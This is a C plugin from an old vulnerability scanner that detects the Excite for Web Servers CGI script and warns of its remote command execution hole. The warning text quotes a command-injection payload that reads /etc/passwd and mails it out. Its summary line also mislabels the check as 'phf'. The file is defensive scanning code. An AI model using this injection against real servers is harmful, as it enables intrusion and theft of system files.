/*
 * 
 * ews
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
#include <includes.h>

#define NAME "EWS (Excite for Web Servers) CGI hole"
#define DESC "\
An EWS cgi allows a remote user to execute any\n\
command on the target system with the same privileges\n\
as the web server\n\n\
Risk factor : High"
#define COPYRIGHT "found by Marc Merlin <marc_merlin@MAGIC.METAWIRE.COM>"
#define SUMM "determines the presence of the 'phf' cgi"

PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
	plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_ATTACK);
	plug_set_family(desc, "CGI abuses");
	return(0);
}


PlugExport int plugin_run(struct arglist * args);	
PlugExport int plugin_run(struct arglist * args)
{
	if(!host_get_port_state(args, 80))return(0);
	if(is_cgi_installed(args, "ews/ews/architext_query.pl")||
          is_cgi_installed(args, "ews/ews/architext_query.pl"))
	{
         post_info(args, 80, 
"The remote host has Excite for Web Servers\n\
installed. Versions up to 1.1 are vulnerable to\n\
the attack : \";IFS=\"$\";/bin/cat /etc/passwd|mail your_email_here;\n\
So you should check if you are vulnerable, and if so, upgrade");
	}
        return(0);
}

